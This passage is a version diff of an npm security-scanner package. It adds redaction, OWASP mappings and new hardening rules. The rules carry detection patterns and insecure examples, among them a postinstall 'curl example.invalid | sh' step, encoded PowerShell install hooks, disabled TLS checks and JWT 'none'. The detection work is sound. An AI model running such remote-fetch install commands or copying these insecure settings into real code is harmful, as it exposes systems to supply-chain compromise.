@vibefoundry/vibe-shield 1.1.1 → 2.0.0

package/dist/src/scanner/engine.js

@@ -47,14 +47,13 @@ var __importStar = (this && this.__importStar) || (function () {
     };
 })();
 Object.defineProperty(exports, "__esModule", { value: true });
-exports.hasFindingsAtOrAbove = exports.contentHash = exports.CACHE_VERSION = exports.CACHE_FILE_NAME = exports.isDocPath = exports.isTestPath = exports.DEFAULT_CONCURRENCY = exports.MAX_FILE_SIZE_BYTES = exports.BINARY_EXTENSIONS = exports.DEFAULT_IGNORED_DIRS = void 0;
+exports.hasFindingsAtOrAbove = exports.packageVersion = exports.contentHash = exports.CACHE_VERSION = exports.CACHE_FILE_NAME = exports.isDocPath = exports.isTestPath = exports.DEFAULT_CONCURRENCY = exports.MAX_FILE_SIZE_BYTES = exports.BINARY_EXTENSIONS = exports.DEFAULT_IGNORED_DIRS = void 0;
 exports.discoverFiles = discoverFiles;
 exports.parseSuppressions = parseSuppressions;
 exports.suppressionFor = suppressionFor;
 exports.applySuppressions = applySuppressions;
 exports.scoreFindings = scoreFindings;
 exports.runRulesOnFile = runRulesOnFile;
-exports.packageVersion = packageVersion;
 exports.scanProject = scanProject;
 exports.dedupe = dedupe;
 exports.gitTrackedPaths = gitTrackedPaths;
@@ -63,6 +62,9 @@ const node_crypto_1 = require("node:crypto");
 const node_child_process_1 = require("node:child_process");
 const path = __importStar(require("node:path"));
 const context_1 = require("./context");
+const version_1 = require("./version");
+const redact_1 = require("./redact");
+const attack_surface_1 = require("./attack-surface");
 const gitignore_1 = require("./gitignore");
 const rules_1 = require("./rules");
 const types_1 = require("./types");
@@ -410,7 +412,7 @@ function scoreFindings(findings) {
 /* Cache                                                                      */
 /* -------------------------------------------------------------------------- */
 exports.CACHE_FILE_NAME = '.vibe-shield-cache.json';
-exports.CACHE_VERSION = 1;
+exports.CACHE_VERSION = 2;
 /** Content hash used as the cache key for one file. */
 const contentHash = (content) => (0, node_crypto_1.createHash)('sha1').update(content).digest('hex').slice(0, 20);
 exports.contentHash = contentHash;
@@ -482,7 +484,7 @@ function toFindings(ctx, rule, hits) {
     const findings = [];
     for (const hit of hits) {
         const located = hit.offset !== undefined ? ctx.locate(hit.offset) : { line: hit.line ?? 1, column: hit.column ?? 1 };
-        const snippet = ctx.lineText(located.line).trim().slice(0, 200);
+        const snippet = ['VSB-INFRA-003', 'VSB-AUTH-012'].includes(rule.id) ? '[secret value redacted]' : (0, redact_1.redactReportText)(ctx.lineText(located.line).trim()).slice(0, 200);
         findings.push({
             ruleId: rule.id,
             slug: rule.slug,
@@ -491,12 +493,14 @@ function toFindings(ctx, rule, hits) {
             severity: hit.severity ?? rule.severity,
             confidence: hit.confidence ?? rule.confidence,
             cwe: rule.cwe,
+            owasp: rule.owasp,
             filePath: ctx.relativePath,
+            file: ctx.relativePath,
             absolutePath: ctx.absolutePath,
             line: located.line,
             column: located.column,
             snippet,
-            matched: hit.matched ?? snippet,
+            matched: ['VSB-INFRA-003', 'VSB-AUTH-012'].includes(rule.id) ? '[secret value redacted]' : (0, redact_1.redactReportText)(hit.matched ?? snippet),
             message: hit.message ?? rule.description,
             remediation: rule.remediate ? rule.remediate(ctx, hit) : rule.remediation,
             insecureExample: rule.insecureExample,
@@ -510,37 +514,8 @@ function toFindings(ctx, rule, hits) {
 /* -------------------------------------------------------------------------- */
 /* Main scan                                                                  */
 /* -------------------------------------------------------------------------- */
-const VERSION = process.env.npm_package_version ?? '1.0.0';
-let cachedVersion = null;
-/** Package version, resolved once from the nearest package.json. */
-async function packageVersion() {
-    if (cachedVersion)
-        return cachedVersion;
-    let dir = __dirname;
-    for (let depth = 0; depth < 6; depth += 1) {
-        try {
-            const raw = await node_fs_1.promises.readFile(path.join(dir, 'package.json'), 'utf8');
-            const parsed = JSON.parse(raw);
-            // Match the scoped name *or* the legacy bare one, so an install made
-            // before the package was published under `@vibefoundry/` still resolves
-            // its own version instead of reporting the fallback.
-            const isThisPackage = parsed.name === '@vibefoundry/vibe-shield' || parsed.name === 'vibe-shield';
-            if (isThisPackage && parsed.version) {
-                cachedVersion = parsed.version;
-                return cachedVersion;
-            }
-        }
-        catch {
-            // Keep walking up.
-        }
-        const parent = path.dirname(dir);
-        if (parent === dir)
-            break;
-        dir = parent;
-    }
-    cachedVersion = VERSION;
-    return cachedVersion;
-}
+var version_2 = require("./version");
+Object.defineProperty(exports, "packageVersion", { enumerable: true, get: function () { return version_2.packageVersion; } });
 /**
  * Scan a project. This is the one function the CLI, the tests and any embedding
  * application call; everything else in this module is an implementation detail.
@@ -581,6 +556,7 @@ async function scanProject(options) {
     };
     const concurrency = Math.max(1, Math.min(256, options.concurrency ?? exports.DEFAULT_CONCURRENCY));
     const findings = [];
+    const attackSurface = (0, attack_surface_1.emptyAttackSurface)();
     let suppressedCount = 0;
     let cacheHits = 0;
     let bytesScanned = 0;
@@ -599,9 +575,11 @@ async function scanProject(options) {
         catch {
             return;
         }
+        const ctx = (0, context_1.createFileContext)(file.absolutePath, rootDir, content, project);
+        (0, attack_surface_1.inventoryFile)(ctx, attackSurface);
         const hash = (0, exports.contentHash)(content);
         const cached = existing?.files[file.relativePath];
-        if (cached && cached.hash === hash && existing?.project === cache.project && existing?.rules === rules_1.RULES_FINGERPRINT) {
+        if (file.relativePath !== 'package.json' && cached && cached.hash === hash && existing?.project === cache.project && existing?.rules === rules_1.RULES_FINGERPRINT) {
             cacheHits += 1;
             filesScanned += 1;
             bytesScanned += file.bytes;
@@ -610,7 +588,6 @@ async function scanProject(options) {
             options.onFile?.(file.relativePath, (index += 1), discovered.files.length);
             return;
         }
-        const ctx = (0, context_1.createFileContext)(file.absolutePath, rootDir, content, project);
         const applicable = rules.filter((rule) => (!rule.appliesTo || rule.appliesTo(ctx)) && !rule.skipFlags?.some((flag) => ctx.flags[flag] === true));
         ruleInvocations += applicable.length;
         const fileFindings = [];
@@ -650,6 +627,10 @@ async function scanProject(options) {
         }
     });
     await Promise.all(workers);
+    (0, attack_surface_1.inventoryTables)(attackSurface, project, new Set(discovered.files.map(f => f.relativePath)));
+    attackSurface.routes.sort((a, b) => a.file.localeCompare(b.file) || a.line - b.line || a.method.localeCompare(b.method));
+    attackSurface.aiEntrypoints.sort((a, b) => a.file.localeCompare(b.file));
+    attackSurface.agentFiles.sort((a, b) => a.file.localeCompare(b.file));
     const unique = dedupe(findings);
     unique.sort((a, b) => types_1.SEVERITY_WEIGHT[b.severity] - types_1.SEVERITY_WEIGHT[a.severity] ||
         a.filePath.localeCompare(b.filePath) ||
@@ -670,6 +651,7 @@ async function scanProject(options) {
     return {
         rootDir,
         command: 'scan',
+        attackSurface,
         findings: unique,
         score,
         stats: {
@@ -687,7 +669,7 @@ async function scanProject(options) {
         scannedPaths: discovered.files.map((file) => file.relativePath),
         startedAt: new Date(started).toISOString(),
         finishedAt: new Date(finished).toISOString(),
-        version: await packageVersion(),
+        version: await (0, version_1.packageVersion)(),
         ruleCount: rules.length,
         suppressedCount,
         notices,

package/dist/src/scanner/mappings.d.ts

@@ -0,0 +1,17 @@
+/**
+ * OWASP Top 10:2025 associations. CWE-based entries follow the "List of
+ * Mapped CWEs" in the official 2025 category pages; contextual associations
+ * are explicitly labelled and require review. LLM associations are rule-level
+ * judgements, not a claim that every finding involves an LLM.
+ */
+export interface OwaspMapping {
+    id: string;
+    name: string;
+    basis: 'owasp-cwe' | 'contextual';
+}
+export interface OwaspMappings {
+    web: OwaspMapping | null;
+    llm: OwaspMapping[];
+}
+/** A null web mapping or empty LLM list means no applicable association was assigned. */
+export declare function owaspMappings(ruleId: string, cweId: string): OwaspMappings;

package/dist/src/scanner/mappings.js

@@ -0,0 +1,39 @@
+"use strict";
+Object.defineProperty(exports, "__esModule", { value: true });
+exports.owaspMappings = owaspMappings;
+const names = {
+    A01: 'Broken Access Control', A02: 'Security Misconfiguration', A03: 'Software Supply Chain Failures',
+    A04: 'Cryptographic Failures', A05: 'Injection', A06: 'Insecure Design',
+    A07: 'Authentication Failures', A08: 'Software or Data Integrity Failures',
+};
+const webByCwe = {
+    'CWE-22': 'A01', 'CWE-200': 'A01', 'CWE-284': 'A01', 'CWE-352': 'A01', 'CWE-540': 'A01', 'CWE-601': 'A01',
+    'CWE-639': 'A01', 'CWE-732': 'A01', 'CWE-749': 'A01', 'CWE-862': 'A01', 'CWE-863': 'A01', 'CWE-918': 'A01', 'CWE-1275': 'A01',
+    'CWE-16': 'A02', 'CWE-526': 'A02', 'CWE-614': 'A02', 'CWE-942': 'A02', 'CWE-1004': 'A02',
+    'CWE-1104': 'A03', 'CWE-321': 'A04', 'CWE-327': 'A04', 'CWE-347': 'A04',
+    'CWE-74': 'A05', 'CWE-77': 'A05', 'CWE-78': 'A05', 'CWE-79': 'A05', 'CWE-89': 'A05', 'CWE-94': 'A05',
+    'CWE-434': 'A06', 'CWE-693': 'A06', 'CWE-287': 'A07', 'CWE-306': 'A07', 'CWE-798': 'A07', 'CWE-1392': 'A07',
+    'CWE-345': 'A08', 'CWE-502': 'A08', 'CWE-829': 'A08',
+};
+const contextualWeb = { 'CWE-250': 'A01', 'CWE-770': 'A06' };
+const llmNames = {
+    LLM01: 'Prompt Injection', LLM02: 'Sensitive Information Disclosure', LLM03: 'Supply Chain',
+    LLM05: 'Improper Output Handling', LLM06: 'Excessive Agency', LLM10: 'Unbounded Consumption',
+};
+const llmByRule = {
+    'VSB-AI-002': ['LLM05', 'LLM06'], 'VSB-AI-003': ['LLM05'], 'VSB-AI-004': ['LLM01'],
+    'VSB-AI-008': ['LLM05'], 'VSB-AI-014': ['LLM10'],
+    'VSB-AGENT-001': ['LLM01'], 'VSB-AGENT-002': ['LLM01', 'LLM02'], 'VSB-AGENT-003': ['LLM01', 'LLM02'],
+    'VSB-AGENT-004': ['LLM03'], 'VSB-AGENT-005': ['LLM02'], 'VSB-AGENT-006': ['LLM01'],
+    'VSB-AGENT-007': ['LLM06'], 'VSB-AGENT-008': ['LLM05', 'LLM06'], 'VSB-AGENT-009': ['LLM01', 'LLM03'],
+    'VSB-AGENT-010': ['LLM06'], 'VSB-AGENT-011': ['LLM02'], 'VSB-AGENT-012': ['LLM06'],
+};
+/** A null web mapping or empty LLM list means no applicable association was assigned. */
+function owaspMappings(ruleId, cweId) {
+    const official = webByCwe[cweId];
+    const webId = official ?? contextualWeb[cweId];
+    return {
+        web: webId ? { id: `${webId}:2025`, name: names[webId], basis: official ? 'owasp-cwe' : 'contextual' } : null,
+        llm: (llmByRule[ruleId] ?? []).map(id => ({ id: `${id}:2025`, name: llmNames[id], basis: 'contextual' })),
+    };
+}

package/dist/src/scanner/redact.d.ts

@@ -0,0 +1 @@
+export declare function redactReportText(text: string): string;

package/dist/src/scanner/redact.js

@@ -0,0 +1,12 @@
+"use strict";
+Object.defineProperty(exports, "__esModule", { value: true });
+exports.redactReportText = redactReportText;
+/** Best-effort removal of recognized credentials from report text. */
+const patterns_1 = require("../secrets/patterns");
+function redactReportText(text) {
+    let output = text;
+    for (const match of (0, patterns_1.findSecrets)(text)) {
+        output = output.split(match.value).join(match.display);
+    }
+    return output;
+}

package/dist/src/scanner/rules/hardening.d.ts

@@ -0,0 +1,5 @@
+import type { Rule } from '../types';
+export declare const HARDENING_RULES: readonly Rule[];
+export declare const MISSING_LOCKFILE_RULE: Rule;
+/** Docker defaults to root when the final stage never selects a runtime user. */
+export declare const DOCKER_DEFAULT_ROOT_RULE: Rule;

package/dist/src/scanner/rules/hardening.js

@@ -0,0 +1,116 @@
+"use strict";
+var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m, k, k2) {
+    if (k2 === undefined) k2 = k;
+    var desc = Object.getOwnPropertyDescriptor(m, k);
+    if (!desc || ("get" in desc ? !m.__esModule : desc.writable || desc.configurable)) {
+      desc = { enumerable: true, get: function() { return m[k]; } };
+    }
+    Object.defineProperty(o, k2, desc);
+}) : (function(o, m, k, k2) {
+    if (k2 === undefined) k2 = k;
+    o[k2] = m[k];
+}));
+var __setModuleDefault = (this && this.__setModuleDefault) || (Object.create ? (function(o, v) {
+    Object.defineProperty(o, "default", { enumerable: true, value: v });
+}) : function(o, v) {
+    o["default"] = v;
+});
+var __importStar = (this && this.__importStar) || (function () {
+    var ownKeys = function(o) {
+        ownKeys = Object.getOwnPropertyNames || function (o) {
+            var ar = [];
+            for (var k in o) if (Object.prototype.hasOwnProperty.call(o, k)) ar[ar.length] = k;
+            return ar;
+        };
+        return ownKeys(o);
+    };
+    return function (mod) {
+        if (mod && mod.__esModule) return mod;
+        var result = {};
+        if (mod != null) for (var k = ownKeys(mod), i = 0; i < k.length; i++) if (k[i] !== "default") __createBinding(result, mod, k[i]);
+        __setModuleDefault(result, mod);
+        return result;
+    };
+})();
+Object.defineProperty(exports, "__esModule", { value: true });
+exports.DOCKER_DEFAULT_ROOT_RULE = exports.MISSING_LOCKFILE_RULE = exports.HARDENING_RULES = void 0;
+/** Focused, local syntax checks. These are indicators, not data-flow proofs. */
+const node_fs_1 = require("node:fs");
+const path = __importStar(require("node:path"));
+const helpers_1 = require("./helpers");
+const shared_1 = require("./shared");
+const code = (c) => /\.(?:[cm]?[jt]sx?|vue|svelte)$/i.test(c.fileName) && !c.flags.isDocumentation && !c.flags.isAgentInstructionFile && !c.flags.isTestFile;
+const cookieCode = (c) => code(c) && /\bcookie/i.test(c.code);
+const manifest = (c) => c.fileName === 'package.json' && !c.flags.isTestFile;
+const docker = (c) => c.language === 'dockerfile' && !c.flags.isTestFile;
+const config = (c) => /^(?:next|vite)\.config\.[cm]?[jt]s$/i.test(c.fileName);
+const specs = [
+    { id: 'VSB-CLIENT-008', title: 'Production source maps enabled', category: 'client-exposure', pattern: /\b(?:productionBrowserSourceMaps|sourcemap)\s*:\s*true\b/g, example: 'productionBrowserSourceMaps: true', fix: 'Disable production source maps or upload them privately to a restricted error-monitoring service.', cwe: shared_1.CWES.exposureOfSecrets, scope: config },
+    { id: 'VSB-AUTH-010', title: 'JWT accepts the none algorithm', category: 'unguarded-routes', pattern: /\balgorithms\s*:\s*\[[^\]]*['"]none['"]/gi, example: "algorithms: ['none']", fix: 'Require a fixed allowlist of strong signed algorithms and verify issuer, audience and expiry.', cwe: shared_1.CWES.improperCertValidation, scope: code },
+    { id: 'VSB-AUTH-011', title: 'JWT decoded without a verification call', category: 'unguarded-routes', pattern: /\bjwt\.decode\s*\(/g, example: 'jwt.decode(token)', fix: 'Verify the signature, allowed algorithm, issuer, audience and expiry before trusting claims.', cwe: shared_1.CWES.improperCertValidation, scope: c => code(c) && !/\bjwt\.verify\s*\(/.test(c.code) },
+    { id: 'VSB-INFRA-001', title: 'Wildcard cross-origin response', category: 'infrastructure', pattern: /['"]Access-Control-Allow-Origin['"]\s*[:,]\s*['"]\*['"]/gi, example: "'Access-Control-Allow-Origin': '*'", fix: 'Restrict origins to a reviewed allowlist for sensitive responses.', cwe: shared_1.CWES.browserSecurity, scope: code },
+    { id: 'VSB-INFRA-002', title: 'Container explicitly runs as root', category: 'infrastructure', pattern: /^\s*USER\s+(?:root|0)(?:\s|$)/gim, example: 'USER root', fix: 'Use a dedicated unprivileged runtime user and grant only required filesystem access.', cwe: shared_1.CWES.privilegeEscalation, scope: docker },
+    { id: 'VSB-INFRA-003', title: 'Secret named in container environment', category: 'infrastructure', pattern: /^\s*(?:ENV|ARG)\s+\w*(?:PASSWORD|SECRET|TOKEN|PRIVATE_KEY)\w*\s*[= ]\s*[^\s$#]+/gim, example: 'ENV API_SECRET=example', fix: 'Use runtime secret injection or build secret mounts; rotate any baked credentials.', cwe: shared_1.CWES.hardcodedCredentials, scope: docker },
+    { id: 'VSB-INFRA-004', title: 'Redirect directly uses next parameter', category: 'infrastructure', pattern: /\bredirect\s*\(\s*(?:\w+\.)?searchParams\.get\s*\(\s*['"](?:next|redirect|url)['"]\s*\)/gi, example: "redirect(searchParams.get('next'))", fix: 'Allow only validated relative paths or a strict same-origin allowlist before redirecting.', cwe: shared_1.CWES.openRedirect, scope: code },
+    { id: 'VSB-DEPS-001', title: 'Wildcard package dependency', category: 'dependencies', pattern: /"[^"\n]+"\s*:\s*"\*"/g, example: '"library": "*"', fix: 'Pin an appropriate dependency version and commit the lockfile.', cwe: shared_1.CWES.untrustedSearchPath, scope: manifest },
+    { id: 'VSB-DEPS-002', title: 'Latest tag used for package dependency', category: 'dependencies', pattern: /"[^"\n]+"\s*:\s*"latest"/gi, example: '"library": "latest"', fix: 'Use a reviewed version and commit a lockfile.', cwe: shared_1.CWES.untrustedSearchPath, scope: manifest },
+    { id: 'VSB-DEPS-003', title: 'Remote package dependency', category: 'dependencies', pattern: /"[^"\n]+"\s*:\s*"(?:git\+|git:|https?:\/\/)[^"\n]+"/gi, example: '"library": "https://example.invalid/library.tgz"', fix: 'Review the origin and integrity, prefer a trusted registry and lock immutable versions.', cwe: shared_1.CWES.dependencyConfusion, scope: manifest },
+    { id: 'VSB-DEPS-004', title: 'Remote shell execution in install script', category: 'dependencies', pattern: /"(?:preinstall|install|postinstall)"\s*:\s*"[^"\n]*(?:curl|wget)[^"\n]*\|\s*(?:ba)?sh\b/gi, example: '"postinstall": "curl example.invalid | sh"', fix: 'Remove remote shell execution; review and pin any required build tooling.', cwe: shared_1.CWES.commandInjection, scope: manifest },
+    { id: 'VSB-DEPS-005', title: 'Encoded PowerShell in install script', category: 'dependencies', pattern: /"(?:preinstall|install|postinstall)"\s*:\s*"[^"\n]*powershell(?:\.exe)?\s+-(?:enc|encodedcommand)\b/gi, example: '"postinstall": "powershell -enc ..."', fix: 'Remove encoded lifecycle scripts and inspect their decoded content before trusting the package.', cwe: shared_1.CWES.commandInjection, scope: manifest },
+    { id: 'VSB-CRYPTO-001', title: 'Weak password digest', category: 'secret-entropy', pattern: /\b(?:createHash|hashlib\.(?:new))\s*\(\s*['"](?:md5|sha1)['"]\s*\)[^\n]*(?:password|passwd|pwd)/gi, example: "createHash('sha1').update(password)", fix: 'Use a modern password hashing algorithm such as Argon2id with a unique salt.', cwe: shared_1.CWES.weakCrypto, scope: code },
+    { id: 'VSB-CRYPTO-002', title: 'Predictable security token generated with Math.random', category: 'secret-entropy', pattern: /(?:token|otp|csrf|reset|nonce)\w*\s*=\s*[^\n;]*\bMath\.random\s*\(/gi, example: 'const token = Math.random()', fix: 'Use a cryptographically secure random source such as crypto.randomBytes or crypto.randomUUID.', cwe: shared_1.CWES.weakCrypto, scope: code },
+    { id: 'VSB-CLIENT-009', title: 'Inline production source maps enabled', category: 'client-exposure', pattern: /\bsourcemap\s*:\s*['"]inline['"]/gi, example: "sourcemap: 'inline'", fix: 'Disable public source maps for production builds or store them privately.', cwe: shared_1.CWES.exposureOfSecrets, scope: config },
+    { id: 'VSB-AUTH-012', title: 'JWT signed with a literal secret', category: 'unguarded-routes', pattern: /\bjwt\.sign\s*\([^,\n]+,\s*['"][^'"]{4,}['"]/g, example: "jwt.sign(payload, 'literal-secret')", fix: 'Use a high-entropy secret from a secret manager, rotate exposed keys and specify the expected signing algorithm.', cwe: shared_1.CWES.hardcodedCredentials, scope: code },
+    { id: 'VSB-INFRA-005', title: 'Cookie explicitly disables HttpOnly', category: 'infrastructure', pattern: /\bhttpOnly\s*:\s*false\b/gi, example: 'httpOnly: false', fix: 'Set httpOnly on session cookies so browser scripts cannot read them.', cwe: shared_1.CWES.exposureOfSecrets, scope: cookieCode },
+    { id: 'VSB-INFRA-006', title: 'Cookie explicitly disables Secure', category: 'infrastructure', pattern: /\bsecure\s*:\s*false\b/gi, example: 'secure: false', fix: 'Set secure on sensitive cookies in production and serve exclusively over HTTPS.', cwe: shared_1.CWES.exposureOfSecrets, scope: cookieCode },
+    { id: 'VSB-INFRA-007', title: 'Cookie explicitly disables SameSite', category: 'infrastructure', pattern: /\bsameSite\s*:\s*false\b/gi, example: 'sameSite: false', fix: 'Use SameSite Lax or Strict where compatible, and use CSRF protection for state-changing requests.', cwe: shared_1.CWES.csrf, scope: cookieCode },
+    { id: 'VSB-INFRA-008', title: 'CORS reflects origins while allowing credentials', category: 'infrastructure', pattern: /\borigin\s*:\s*true\b/g, example: 'cors({ origin: true, credentials: true })', fix: 'Use an explicit trusted origin allowlist and verify preflight and credential handling.', cwe: shared_1.CWES.browserSecurity, scope: c => code(c) && /\bcredentials\s*:\s*true\b/.test(c.code) },
+    { id: 'VSB-CRYPTO-003', title: 'ECB mode encryption', category: 'secret-entropy', pattern: /\b(?:createCipheriv|createCipher)\s*\(\s*['"][^'"]*ecb['"]/gi, example: "createCipheriv('aes-256-ecb', key, null)", fix: 'Use an authenticated encryption mode such as AES-GCM with a unique nonce.', cwe: shared_1.CWES.weakCrypto, scope: code },
+    { id: 'VSB-CRYPTO-004', title: 'TLS certificate validation disabled', category: 'secret-entropy', pattern: /\brejectUnauthorized\s*:\s*false\b/g, example: 'rejectUnauthorized: false', fix: 'Enable certificate validation and configure the correct trusted CA for the target.', cwe: shared_1.CWES.improperCertValidation, scope: code },
+    { id: 'VSB-CRYPTO-005', title: 'TLS verification disabled by environment', category: 'secret-entropy', pattern: /\bNODE_TLS_REJECT_UNAUTHORIZED\s*=\s*['"]0['"]/g, example: "process.env.NODE_TLS_REJECT_UNAUTHORIZED = '0'", fix: 'Remove the override and configure a trusted CA instead of disabling certificate verification.', cwe: shared_1.CWES.improperCertValidation, scope: code },
+];
+exports.HARDENING_RULES = specs.map(s => (0, helpers_1.defineRule)({
+    id: s.id, slug: s.title.toLowerCase().replace(/[^a-z0-9]+/g, '-').replace(/-$/, ''), title: s.title,
+    category: s.category, severity: s.id === 'VSB-AUTH-010' ? 'high' : 'medium', confidence: 'medium', cwe: s.cwe,
+    description: `${s.title}. Review the surrounding configuration and actual exposure.`,
+    insecureExample: s.example, secureExample: s.fix, remediation: [s.fix, 'Review the finding in context and add a regression test for the intended security boundary.'], references: [s.cwe.url],
+    appliesTo: s.scope, detect: ctx => {
+        if (!['VSB-DEPS-001', 'VSB-DEPS-002', 'VSB-DEPS-003'].includes(s.id))
+            return (0, helpers_1.regexHits)(ctx.code, s.pattern);
+        try {
+            const pkg = JSON.parse(ctx.content);
+            const values = ['dependencies', 'devDependencies', 'optionalDependencies', 'peerDependencies'].flatMap(key => Object.entries((pkg[key] ?? {})));
+            return (0, helpers_1.regexHits)(ctx.content, s.pattern, m => {
+                const pair = /^"([^"]+)"\s*:\s*"([^"]+)"/.exec(m[0]);
+                return pair && values.some(([key, value]) => key === pair[1] && value === pair[2]) ? {} : null;
+            });
+        }
+        catch {
+            return [];
+        }
+    },
+}));
+exports.MISSING_LOCKFILE_RULE = (0, helpers_1.defineRule)({
+    id: 'VSB-DEPS-006', slug: 'missing-node-lockfile', title: 'Node project has no lockfile', category: 'dependencies',
+    severity: 'medium', confidence: 'medium', cwe: shared_1.CWES.untrustedSearchPath,
+    description: 'A package manifest without a lockfile can resolve different dependency versions across installs.',
+    insecureExample: 'package.json without a lockfile', secureExample: 'Commit a lockfile generated by the package manager.',
+    remediation: ['Commit a reviewed lockfile for the package manager used by this project.', 'Use the package manager’s frozen-lockfile mode in CI.'], references: ['https://docs.npmjs.com/cli/v10/configuring-npm/package-lock-json'],
+    appliesTo: ctx => manifest(ctx) && ctx.absolutePath === path.join(ctx.project.rootDir, 'package.json'),
+    detect: ctx => ['package-lock.json', 'npm-shrinkwrap.json', 'yarn.lock', 'pnpm-lock.yaml', 'bun.lock', 'bun.lockb'].some(n => (0, node_fs_1.existsSync)(path.join(ctx.project.rootDir, n))) ? [] : [{ line: 1, column: 1, matched: 'package.json' }],
+});
+/** Docker defaults to root when the final stage never selects a runtime user. */
+exports.DOCKER_DEFAULT_ROOT_RULE = (0, helpers_1.defineRule)({
+    id: 'VSB-INFRA-009', slug: 'container-default-root', title: 'Container has no final-stage USER', category: 'infrastructure',
+    severity: 'medium', confidence: 'medium', cwe: shared_1.CWES.privilegeEscalation,
+    description: 'Without a USER directive in the final build stage, a container may run as root unless its base image specifies a user.',
+    insecureExample: 'FROM node:22-alpine', secureExample: 'FROM node:22-alpine\nUSER node',
+    remediation: ['Select a non-root runtime user in the final stage.', 'Test file permissions and runtime access with that user.'], references: [shared_1.CWES.privilegeEscalation.url],
+    appliesTo: docker, detect: ctx => {
+        const stages = [...ctx.code.matchAll(/^\s*FROM\s+[^\n]+/gim)];
+        const last = stages[stages.length - 1];
+        if (!last || /^\s*USER\s+\S+/im.test(ctx.code.slice(last.index)))
+            return [];
+        return [{ offset: last.index, matched: last[0].trim() }];
+    },
+});

package/dist/src/scanner/rules/helpers.js

@@ -13,6 +13,7 @@ exports.defineRule = defineRule;
 exports.regexHits = regexHits;
 exports.bodyFrom = bodyFrom;
 exports.fileHit = fileHit;
+const mappings_1 = require("../mappings");
 const text_1 = require("../text");
 /** Does this file match the declarative scope of a rule? */
 function inScope(def, ctx) {
@@ -36,6 +37,7 @@ function defineRule(def) {
     const custom = def.appliesTo;
     const rule = {
         ...def,
+        owasp: def.owasp ?? (0, mappings_1.owaspMappings)(def.id, def.cwe.id),
         appliesTo: (ctx) => (custom ? custom(ctx) && inScope(def, ctx) : inScope(def, ctx)),
     };
     return rule;

package/dist/src/scanner/rules/index.js

@@ -12,6 +12,8 @@ exports.RULES_FINGERPRINT = exports.ALL_RULES = exports.SCAN_RULES = exports.fil
 exports.getRule = getRule;
 exports.rulesByCategory = rulesByCategory;
 exports.selectRules = selectRules;
+const response_hardening_1 = require("./response-hardening");
+const hardening_1 = require("./hardening");
 const ai_vulnerabilities_1 = require("./ai-vulnerabilities");
 const client_exposure_1 = require("./client-exposure");
 const database_exposure_1 = require("./database-exposure");
@@ -44,6 +46,10 @@ exports.SCAN_RULES = [
     ...database_exposure_1.DATABASE_EXPOSURE_RULES,
     ...ai_vulnerabilities_1.AI_VULNERABILITY_RULES,
     ...secret_entropy_1.SECRET_ENTROPY_RULES,
+    ...hardening_1.HARDENING_RULES,
+    ...response_hardening_1.RESPONSE_HARDENING_RULES,
+    hardening_1.MISSING_LOCKFILE_RULE,
+    hardening_1.DOCKER_DEFAULT_ROOT_RULE,
 ];
 /** Every rule the tool knows about, including the agent-integrity family. */
 exports.ALL_RULES = [...exports.SCAN_RULES, ...skill_auditor_1.AGENT_RULES];

package/dist/src/scanner/rules/response-hardening.d.ts

@@ -0,0 +1,2 @@
+import type { Rule } from '../types';
+export declare const RESPONSE_HARDENING_RULES: readonly Rule[];

package/dist/src/scanner/rules/response-hardening.js

@@ -0,0 +1,120 @@
+"use strict";
+Object.defineProperty(exports, "__esModule", { value: true });
+exports.RESPONSE_HARDENING_RULES = void 0;
+/** Local configuration signals, not proof of effective response headers or cookies. */
+const helpers_1 = require("./helpers");
+const shared_1 = require("./shared");
+const sourceFile = (ctx) => /\.(?:[cm]?[jt]sx?)$/i.test(ctx.fileName) &&
+    !ctx.flags.isTestFile && !ctx.flags.isDocumentation && !ctx.flags.isGenerated && !ctx.flags.isAgentInstructionFile;
+const nextConfig = (ctx) => /^next\.config\.[cm]?[jt]s$/i.test(ctx.fileName);
+const serverConfig = (ctx) => /\b(?:app|server|fastify)\.listen\s*\(/.test(ctx.code) && /\b(?:express|fastify|hono)\b/i.test(ctx.code);
+const headers = [
+    { id: 'VSB-INFRA-010', slug: 'missing-content-security-policy', name: 'Content-Security-Policy', probe: /\b(?:Content-Security-Policy|contentSecurityPolicy)\b/i, hint: 'Define a restrictive Content-Security-Policy appropriate to the app, including a safe script-src.', cwe: (0, shared_1.cwe)('CWE-693', 'Protection Mechanism Failure') },
+    { id: 'VSB-INFRA-011', slug: 'missing-frame-protection', name: 'X-Frame-Options', probe: /\b(?:X-Frame-Options|frameguard|frame-ancestors)\b/i, hint: 'Set X-Frame-Options or a CSP frame-ancestors directive appropriate to the application.', cwe: (0, shared_1.cwe)('CWE-693', 'Protection Mechanism Failure') },
+    { id: 'VSB-INFRA-012', slug: 'missing-hsts', name: 'Strict-Transport-Security', probe: /\b(?:Strict-Transport-Security|hsts)\b/i, hint: 'Enable HSTS at the HTTPS edge after verifying HTTPS coverage across the relevant hosts.', cwe: (0, shared_1.cwe)('CWE-693', 'Protection Mechanism Failure') },
+];
+const HEADER_RULES = headers.map(header => (0, helpers_1.defineRule)({
+    id: header.id, slug: header.slug, title: `${header.name} not observed in server configuration`,
+    category: 'infrastructure', severity: 'low', confidence: 'low', cwe: header.cwe,
+    description: `No ${header.name} configuration was observed in this server configuration file. It may be supplied by middleware, the hosting platform, or a reverse proxy; verify the deployed response.`,
+    insecureExample: '// No security header configured in this file', secureExample: header.hint,
+    remediation: [header.hint, 'Verify actual response headers at the deployed edge, including error responses and any proxy configuration.'],
+    references: ['https://cheatsheetseries.owasp.org/cheatsheets/HTTP_Headers_Cheat_Sheet.html', header.cwe.url],
+    appliesTo: ctx => sourceFile(ctx) && (nextConfig(ctx) || serverConfig(ctx)),
+    detect: ctx => {
+        // Helmet with no options enables these default protections. A configured or
+        // indirect middleware is not assumed to do so, and the result is advisory.
+        if (header.probe.test(ctx.code) || /\bhelmet\s*\(\s*\)/.test(ctx.code))
+            return [];
+        return [{ line: 1, column: 1, matched: ctx.lineText(1).trim(), message: `${header.name} was not observed in this file. Check middleware and deployment headers before treating this as missing.` }];
+    },
+}));
+/** Extract top-level call arguments, respecting nested delimiters and quotes. */
+function callArguments(code, open) {
+    const stack = [')'];
+    const args = [];
+    let start = open + 1;
+    let quote = '';
+    for (let i = start; i < code.length && i < open + 12_000; i += 1) {
+        const ch = code[i];
+        if (quote) {
+            if (ch === '\\') {
+                i += 1;
+                continue;
+            }
+            if (ch === quote)
+                quote = '';
+            continue;
+        }
+        if (ch === '"' || ch === "'" || ch === '`') {
+            quote = ch;
+            continue;
+        }
+        if (ch === '(' || ch === '[' || ch === '{') {
